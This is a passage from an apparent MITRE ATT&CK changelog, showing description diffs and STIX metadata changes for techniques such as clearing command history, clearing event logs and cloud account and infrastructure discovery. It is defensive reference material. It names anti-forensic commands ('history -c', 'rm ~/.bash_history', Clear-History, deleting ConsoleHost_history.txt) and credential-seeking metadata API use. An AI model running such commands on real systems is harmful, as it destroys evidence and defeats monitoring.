| nd the command history managed by the <code>PSReadLine</code | | /008) on network devices to clear command history data.(Cita |
| > module. The built-in history only tracks the commands used | | tion: US-CERT-TA18-106A) On Windows hosts, PowerShell has t |
| in the current session. This command history is not availab | | wo different command history providers: the built-in history |
| le to other sessions and is deleted when the session ends. | | and the command history managed by the <code>PSReadLine</co |
| The <code>PSReadLine</code> command history tracks the comma | | de> module. The built-in history only tracks the commands us |
| nds used in all PowerShell sessions and writes them to a fil | | ed in the current session. This command history is not avail |
| e (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLin | | able to other sessions and is deleted when the session ends. |
| e\ConsoleHost_history.txt</code> by default). This history f | | The <code>PSReadLine</code> command history tracks the com |
| ile is available to all sessions and contains all past histo | | mands used in all PowerShell sessions and writes them to a f |
| ry since the file is not deleted when the session ends.(Cita | | ile (<code>$env:APPDATA\Microsoft\Windows\PowerShell\PSReadL |
| tion: Microsoft PowerShell Command History) Adversaries may | | ine\ConsoleHost_history.txt</code> by default). This history |
| run the PowerShell command <code>Clear-History</code> to fl | | file is available to all sessions and contains all past his |
| ush the entire command history from a current PowerShell ses | | tory since the file is not deleted when the session ends.(Ci |
| sion. This, however, will not delete/flush the <code>Console | | tation: Microsoft PowerShell Command History) Adversaries m |
| Host_history.txt</code> file. Adversaries may also delete th | | ay run the PowerShell command <code>Clear-History</code> to |
| e <code>ConsoleHost_history.txt</code> file or edit its cont | | flush the entire command history from a current PowerShell s |
| ents to hide PowerShell commands they have run.(Citation: So | | ession. This, however, will not delete/flush the <code>Conso |
| phos PowerShell command audit)(Citation: Sophos PowerShell C | | leHost_history.txt</code> file. Adversaries may also delete |
| ommand History Forensics) | | the <code>ConsoleHost_history.txt</code> file or edit its co |
| | | ntents to hide PowerShell commands they have run.(Citation: |
| | | Sophos PowerShell command audit)(Citation: Sophos PowerShell |
| | | Command History Forensics) |
New Mitigations:
- M1029: Remote Data Storage
New Detections:
- DS0002: User Account (User Account Authentication)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-16 18:09:48.686000+00:00 | 2022-04-20 18:11:16.889000+00:00 |
| description | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.
Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.
On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.
The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) | In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.
On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.
Adversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history.
Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)
On Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.
The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)
Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics) |
| external_references[1]['source_name'] | Microsoft PowerShell Command History | Sophos PowerShell command audit |
| external_references[1]['description'] | Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. |
| external_references[1]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit |
| external_references[2]['source_name'] | Sophos PowerShell command audit | Microsoft PowerShell Command History |
| external_references[2]['description'] | jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020. | Microsoft. (2020, May 13). About History. Retrieved September 4, 2020. |
| external_references[2]['url'] | https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7 |
| external_references[3]['source_name'] | Sophos PowerShell Command History Forensics | US-CERT-TA18-106A |
| external_references[3]['description'] | Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020. | US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics | https://www.us-cert.gov/ncas/alerts/TA18-106A |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'} |
| x_mitre_contributors | | Austin Clark, @c2defense |
| x_mitre_data_sources | | User Account: User Account Authentication |
| x_mitre_platforms | | Network |
[T1070.001] Indicator Removal on Host: Clear Windows Event Logs
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
- DS0022: File (File Deletion)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-29 21:17:03.732000+00:00 | 2022-04-20 13:02:07.168000+00:00 |
| external_references[1]['source_name'] | Microsoft wevtutil Oct 2017 | Microsoft Clear-EventLog |
| external_references[1]['description'] | Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018. | Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. |
| external_references[1]['url'] | https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil | https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog |
| external_references[3]['source_name'] | Microsoft Clear-EventLog | Microsoft wevtutil Oct 2017 |
| external_references[3]['description'] | Microsoft. (n.d.). Clear-EventLog. Retrieved July 2, 2018. | Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July 2, 2018. |
| external_references[3]['url'] | https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog | https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | File: File Deletion |
[T1136.003] Create Account: Cloud Account
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['Administrator'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-16 12:47:00.192000+00:00 | 2022-04-07 13:09:30.819000+00:00 |
| external_references[2]['source_name'] | Microsoft Support O365 Add Another Admin, October 2019 | AWS Create IAM User |
| external_references[2]['description'] | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. | AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020. |
| external_references[2]['url'] | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html |
| external_references[3]['source_name'] | AWS Create IAM User | GCP Create Cloud Identity Users |
| external_references[3]['description'] | AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020. | Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020. |
| external_references[3]['url'] | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html | https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 |
| external_references[4]['source_name'] | GCP Create Cloud Identity Users | Microsoft Azure AD Users |
| external_references[4]['description'] | Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020. | Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020. |
| external_references[4]['url'] | https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554 | https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory |
| external_references[5]['source_name'] | Microsoft Azure AD Users | Microsoft Support O365 Add Another Admin, October 2019 |
| external_references[5]['description'] | Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020. | Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory | https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d |
| x_mitre_version | 1.1 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | SaaS |
[T1078.004] Valid Accounts: Cloud Accounts
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | Adversaries may obtain and abuse credentials of a cloud acco | t | Adversaries may obtain and abuse credentials of a cloud acco |
| unt as a means of gaining Initial Access, Persistence, Privi | | unt as a means of gaining Initial Access, Persistence, Privi |
| lege Escalation, or Defense Evasion. Cloud accounts are thos | | lege Escalation, or Defense Evasion. Cloud accounts are thos |
| e created and configured by an organization for use by users | | e created and configured by an organization for use by users |
| , remote support, services, or for administration of resourc | | , remote support, services, or for administration of resourc |
| es within a cloud service provider or SaaS application. In s | | es within a cloud service provider or SaaS application. In s |
| ome cases, cloud accounts may be federated with traditional | | ome cases, cloud accounts may be federated with traditional |
| identity management system, such as Window Active Directory. | | identity management system, such as Window Active Directory. |
| (Citation: AWS Identity Federation)(Citation: Google Federa | | (Citation: AWS Identity Federation)(Citation: Google Federat |
| ting GC)(Citation: Microsoft Deploying AD Federation) Compr | | ing GC)(Citation: Microsoft Deploying AD Federation) Compro |
| omised credentials for cloud accounts can be used to harvest | | mised credentials for cloud accounts can be used to harvest |
| sensitive data from online storage accounts and databases. | | sensitive data from online storage accounts and databases. A |
| Access to cloud accounts can also be abused to gain Initial | | ccess to cloud accounts can also be abused to gain Initial A |
| Access to a network by abusing a [Trusted Relationship](http | | ccess to a network by abusing a [Trusted Relationship](https |
| s://attack.mitre.org/techniques/T1199). Similar to [Domain A | | ://attack.mitre.org/techniques/T1199). Similar to [Domain Ac |
| ccounts](https://attack.mitre.org/techniques/T1078/002), com | | counts](https://attack.mitre.org/techniques/T1078/002), comp |
| promise of federated cloud accounts may allow adversaries to | | romise of federated cloud accounts may allow adversaries to |
| more easily move laterally within an environment. | | more easily move laterally within an environment. Once a cl |
| | | oud account is compromised, an adversary may perform [Accoun |
| | | t Manipulation](https://attack.mitre.org/techniques/T1098) - |
| | | for example, by adding [Additional Cloud Roles](https://att |
| | | ack.mitre.org/techniques/T1098/003) - to maintain persistenc |
| | | e and potentially escalate their privileges. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-18 17:48:05.659000+00:00 | 2022-04-19 20:23:33.894000+00:00 |
| description | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment. | Adversaries may obtain and abuse credentials of a cloud account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. In some cases, cloud accounts may be federated with traditional identity management system, such as Window Active Directory.(Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)
Compromised credentials for cloud accounts can be used to harvest sensitive data from online storage accounts and databases. Access to cloud accounts can also be abused to gain Initial Access to a network by abusing a [Trusted Relationship](https://attack.mitre.org/techniques/T1199). Similar to [Domain Accounts](https://attack.mitre.org/techniques/T1078/002), compromise of federated cloud accounts may allow adversaries to more easily move laterally within an environment.
Once a cloud account is compromised, an adversary may perform [Account Manipulation](https://attack.mitre.org/techniques/T1098) - for example, by adding [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) - to maintain persistence and potentially escalate their privileges. |
| x_mitre_data_sources[0] | Logon Session: Logon Session Metadata | User Account: User Account Authentication |
| x_mitre_data_sources[1] | User Account: User Account Authentication | Logon Session: Logon Session Metadata |
| x_mitre_version | 1.3 | 1.4 |
[T1580] Cloud Infrastructure Discovery
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | An adversary may attempt to discover resources that are avai | t | An adversary may attempt to discover infrastructure and reso |
| lable within an infrastructure-as-a-service (IaaS) environme | | urces that are available within an infrastructure-as-a-servi |
| nt. This includes compute service resources such as instance | | ce (IaaS) environment. This includes compute service resourc |
| s, virtual machines, and snapshots as well as resources of o | | es such as instances, virtual machines, and snapshots as wel |
| ther services including the storage and database services. | | l as resources of other services including the storage and d |
| Cloud providers offer methods such as APIs and commands issu | | atabase services. Cloud providers offer methods such as API |
| ed through CLIs to serve information about infrastructure. F | | s and commands issued through CLIs to serve information abou |
| or example, AWS provides a <code>DescribeInstances</code> AP | | t infrastructure. For example, AWS provides a <code>Describe |
| I within the Amazon EC2 API that can return information abou | | Instances</code> API within the Amazon EC2 API that can retu |
| t one or more instances within an account, the <code>ListBuc | | rn information about one or more instances within an account |
| kets</code> API that returns a list of all buckets owned by | | , the <code>ListBuckets</code> API that returns a list of al |
| the authenticated sender of the request, or the <code>GetPub | | l buckets owned by the authenticated sender of the request, |
| licAccessBlock</code> API to retrieve access block configura | | the <code>HeadBucket</code> API to determine a bucket’s exis |
| tion for a bucket (Citation: Amazon Describe Instance)(Citat | | tence along with access permissions of the request sender, o |
| ion: Amazon Describe Instances API)(Citation: AWS Get Public | | r the <code>GetPublicAccessBlock</code> API to retrieve acce |
| Access Block). Similarly, GCP's Cloud SDK CLI provides the | | ss block configuration for a bucket.(Citation: Amazon Descri |
| <code>gcloud compute instances list</code> command to list | | be Instance)(Citation: Amazon Describe Instances API)(Citati |
| all Google Compute Engine instances in a project (Citation: | | on: AWS Get Public Access Block)(Citation: AWS Head Bucket) |
| Google Compute Instances), and Azure's CLI command <code>az | | Similarly, GCP's Cloud SDK CLI provides the <code>gcloud com |
| vm list</code> lists details of virtual machines.(Citation: | | pute instances list</code> command to list all Google Comput |
| Microsoft AZ CLI) An adversary may enumerate resources usin | | e Engine instances in a project (Citation: Google Compute In |
| g a compromised user's access keys to determine which are av | | stances), and Azure's CLI command <code>az vm list</code> li |
| ailable to that user.(Citation: Expel IO Evil in AWS) The di | | sts details of virtual machines.(Citation: Microsoft AZ CLI) |
| scovery of these available resources may help adversaries de | | In addition to API commands, adversaries can utilize open s |
| termine their next steps in the Cloud environment, such as e | | ource tools to discover cloud storage infrastructure through |
| stablishing Persistence.(Citation: Mandiant M-Trends 2020)An | | [Wordlist Scanning](https://attack.mitre.org/techniques/T15 |
| adversary may also use this information to change the confi | | 95/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioure |
| guration to make the bucket publicly accessible, allowing da | | as) An adversary may enumerate resources using a compromise |
| ta to be accessed without authentication. Adversaries have a | | d user's access keys to determine which are available to tha |
| lso may use infrastructure discovery APIs such as <code>Desc | | t user.(Citation: Expel IO Evil in AWS) The discovery of the |
| ribeDBInstances</code> to determine size, owner, permissions | | se available resources may help adversaries determine their |
| , and network ACLs of database resources. (Citation: AWS Des | | next steps in the Cloud environment, such as establishing Pe |
| cribe DB Instances) Adversaries can use this information to | | rsistence.(Citation: Mandiant M-Trends 2020)An adversary may |
| determine the potential value of databases and discover the | | also use this information to change the configuration to ma |
| requirements to access them. Unlike in [Cloud Service Discov | | ke the bucket publicly accessible, allowing data to be acces |
| ery](https://attack.mitre.org/techniques/T1526), this techni | | sed without authentication. Adversaries have also may use in |
| que focuses on the discovery of components of the provided s | | frastructure discovery APIs such as <code>DescribeDBInstance |
| ervices rather than the services themselves. | | s</code> to determine size, owner, permissions, and network |
| | | ACLs of database resources. (Citation: AWS Describe DB Insta |
| | | nces) Adversaries can use this information to determine the |
| | | potential value of databases and discover the requirements t |
| | | o access them. Unlike in [Cloud Service Discovery](https://a |
| | | ttack.mitre.org/techniques/T1526), this technique focuses on |
| | | the discovery of components of the provided services rather |
| | | than the services themselves. |
Dropped Detections:
- DS0010: Cloud Storage (Cloud Storage Metadata)
- DS0020: Snapshot (Snapshot Metadata)
- DS0030: Instance (Instance Metadata)
- DS0034: Volume (Volume Metadata)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-09-02 14:42:19.761000+00:00 | 2022-04-20 19:03:12.977000+00:00 |
| description | An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block).
Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. | An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.
Cloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, the HeadBucket API to determine a bucket’s existence along with access permissions of the request sender, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)
An adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves. |
| external_references[1]['source_name'] | Amazon Describe Instance | Expel IO Evil in AWS |
| external_references[1]['description'] | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. |
| external_references[1]['url'] | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html | https://expel.io/blog/finding-evil-in-aws/ |
| external_references[2]['source_name'] | Amazon Describe Instances API | AWS Head Bucket |
| external_references[2]['description'] | Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). AWS HeadBucket. Retrieved February 14, 2022. |
| external_references[2]['url'] | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html | https://docs.aws.amazon.com/AmazonS3/latest/API/API_HeadBucket.html |
| external_references[4]['source_name'] | Google Compute Instances | AWS Describe DB Instances |
| external_references[4]['description'] | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. | Amazon Web Services. (n.d.). Retrieved May 28, 2021. |
| external_references[4]['url'] | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list | https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html |
| external_references[5]['source_name'] | Microsoft AZ CLI | Amazon Describe Instance |
| external_references[5]['description'] | Microsoft. (n.d.). az ad user. Retrieved October 6, 2019. | Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest | https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html |
| external_references[6]['source_name'] | Expel IO Evil in AWS | Amazon Describe Instances API |
| external_references[6]['description'] | A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. | Amazon. (n.d.). DescribeInstances. Retrieved May 26, 2020. |
| external_references[6]['url'] | https://expel.io/blog/finding-evil-in-aws/ | https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeInstances.html |
| external_references[7]['source_name'] | Mandiant M-Trends 2020 | Google Compute Instances |
| external_references[7]['description'] | Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. | Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020. |
| external_references[7]['url'] | https://content.fireeye.com/m-trends/rpt-m-trends-2020 | https://cloud.google.com/sdk/gcloud/reference/compute/instances/list |
| external_references[8]['source_name'] | AWS Describe DB Instances | Mandiant M-Trends 2020 |
| external_references[8]['description'] | Amazon Web Services. (n.d.). Retrieved May 28, 2021. | Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020. |
| external_references[8]['url'] | https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DescribeDBInstances.html | https://content.fireeye.com/m-trends/rpt-m-trends-2020 |
| x_mitre_contributors[1] | Isif Ibrahima | Praetorian |
| x_mitre_contributors[2] | Praetorian | Isif Ibrahima, Mandiant |
| x_mitre_data_sources[7] | Volume: Volume Enumeration | Snapshot: Snapshot Enumeration |
| x_mitre_detection | Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. | Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones. |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Microsoft AZ CLI', 'description': 'Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.', 'url': 'https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest'} |
| external_references | | {'source_name': 'Malwarebytes OSINT Leaky Buckets - Hioureas', 'description': 'Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.', 'url': 'https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/'} |
| x_mitre_data_sources | | Volume: Volume Enumeration |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Snapshot: Snapshot Enumeration | |
[T1552.005] Unsecured Credentials: Cloud Instance Metadata API
Current version: 1.3
Version changed from: 1.2 → 1.3
|
|
|---|
| t | Adversaries may attempt to access the Cloud Instance Metadat | t | Adversaries may attempt to access the Cloud Instance Metadat |
| a API to collect credentials and other sensitive data. Most | | a API to collect credentials and other sensitive data. Most |
| cloud service providers support a Cloud Instance Metadata A | | cloud service providers support a Cloud Instance Metadata A |
| PI which is a service provided to running virtual instances | | PI which is a service provided to running virtual instances |
| that allows applications to access information about the run | | that allows applications to access information about the run |
| ning virtual instance. Available information generally inclu | | ning virtual instance. Available information generally inclu |
| des name, security group, and additional metadata including | | des name, security group, and additional metadata including |
| sensitive data such as credentials and UserData scripts that | | sensitive data such as credentials and UserData scripts that |
| may contain additional secrets. The Instance Metadata API i | | may contain additional secrets. The Instance Metadata API i |
| s provided as a convenience to assist in managing applicatio | | s provided as a convenience to assist in managing applicatio |
| ns and is accessible by anyone who can access the instance.( | | ns and is accessible by anyone who can access the instance.( |
| Citation: AWS Instance Metadata API) A cloud metadata API ha | | Citation: AWS Instance Metadata API) A cloud metadata API ha |
| s been used in at least one high profile compromise.(Citatio | | s been used in at least one high profile compromise.(Citatio |
| n: Krebs Capital One August 2019) If adversaries have a pre | | n: Krebs Capital One August 2019) If adversaries have a pre |
| sence on the running virtual instance, they may query the In | | sence on the running virtual instance, they may query the In |
| stance Metadata API directly to identify credentials that gr | | stance Metadata API directly to identify credentials that gr |
| ant access to additional resources. Additionally, attackers | | ant access to additional resources. Additionally, adversarie |
| may exploit a Server-Side Request Forgery (SSRF) vulnerabili | | s may exploit a Server-Side Request Forgery (SSRF) vulnerabi |
| ty in a public facing web proxy that allows the attacker to | | lity in a public facing web proxy that allows them to gain a |
| gain access to the sensitive information via a request to th | | ccess to the sensitive information via a request to the Inst |
| e Instance Metadata API.(Citation: RedLock Instance Metadata | | ance Metadata API.(Citation: RedLock Instance Metadata API 2 |
